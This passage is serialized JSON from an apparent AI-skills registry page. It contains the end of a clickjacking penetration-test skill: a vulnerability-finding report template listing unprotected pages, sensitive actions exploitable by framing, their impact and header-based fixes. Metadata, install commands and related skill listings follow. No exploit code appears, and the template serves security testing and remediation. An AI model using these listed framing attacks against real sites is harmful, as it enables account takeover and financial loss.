account.\n\n## Output Format\n\n```\n## Clickjacking Vulnerability Finding\n\n**Vulnerability**: Clickjacking - Missing Frame Embedding Protection\n**Severity**: Medium (CVSS 6.1)\n**Location**: \u002Faccount\u002Fsettings, \u002Faccount\u002Fdelete, \u002Ftransfer\n**OWASP Category**: A04:2021 - Insecure Design\n\n### Headers Analysis\n| Page | X-Frame-Options | CSP frame-ancestors | Vulnerable |\n|------|----------------|--------------------|-|\n| \u002F | Not set | Not set | Yes |\n| \u002Faccount\u002Fsettings | Not set | Not set | Yes |\n| \u002Faccount\u002Fdelete | Not set | Not set | Yes |\n| \u002Ftransfer | Not set | Not set | Yes |\n| \u002Flogin | SAMEORIGIN | - | No |\n\n### Sensitive Actions Exploitable\n1. Account deletion (single click, no re-authentication)\n2. Email change (single click, no confirmation)\n3. 2FA disable (two clicks, multi-step PoC)\n4. Fund transfer (pre-filled form, single click)\n\n### Impact\n- Account takeover via email change clickjacking\n- Account destruction via delete clickjacking\n- Financial loss via transfer clickjacking\n- Security downgrade via 2FA disable clickjacking\n\n### Recommendation\n1. Add `Content-Security-Policy: frame-ancestors 'none'` to all pages\n2. Set `X-Frame-Options: DENY` as fallback for older browsers\n3. Require re-authentication for sensitive actions (delete, transfer)\n4. Add confirmation dialogs that cannot be pre-filled or auto-submitted\n5. Implement SameSite=Strict cookies to reduce session availability in frames\n```\n",{"name":5,"note":25,"tags":26,"author":33,"domain":34,"source":35,"license":15,"version":36,"nist_csf":37,"subdomain":42,"description":7,"nist_ai_rmf":43,"mitre_attack":46,"source_commit":51,"atlas_techniques":52},"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.",[27,28,29,30,31,32],"penetration-testing","clickjacking","ui-redressing","web-security","owasp","x-frame-options","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0",[38,39,40,41],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[44,45],"MEASURE-2.8","MAP-5.1",[47,48,49,50],"T1190","T1059.007","T1505.003","T1083","04450304b12645cb2b974ab96d28c0664758a88d",[53,54],"AML.T0024","AML.T0035","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa","core\u002Fskills\u002Fperforming-clickjacking-attack-test",2,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-14 13:24:09",{"source":8,"skillName":5,"commands":66,"prompt":76,"zipAvailable":77},[67,70,73],{"tool":68,"command":69},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill performing-clickjacking-attack-test",{"tool":71,"command":72},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill performing-clickjacking-attack-test",{"tool":74,"command":75},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill performing-clickjacking-attack-test","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-clickjacking-attack-test\u002FSKILL.md",true,[79,83,89],{"path":80,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":84,"resourceType":85,"resourceTypeDesc":86,"sizeBytes":87,"sourceHtmlUrl":88},"references\u002Fapi-reference.md","REFERENCE","参考文档",2222,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-clickjacking-attack-test\u002Freferences\u002Fapi-reference.md",{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"scripts\u002Fagent.py","SCRIPT","脚本",7479,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-clickjacking-attack-test\u002Fscripts\u002Fagent.py",[96,104,111,119,127,135],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":100,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":20},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":115,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":123,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":131,"sourceHtmlUrl":132,"categories":133,"keywords":134,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":136,"name":137,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":138,"categories":139,"keywords":140,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]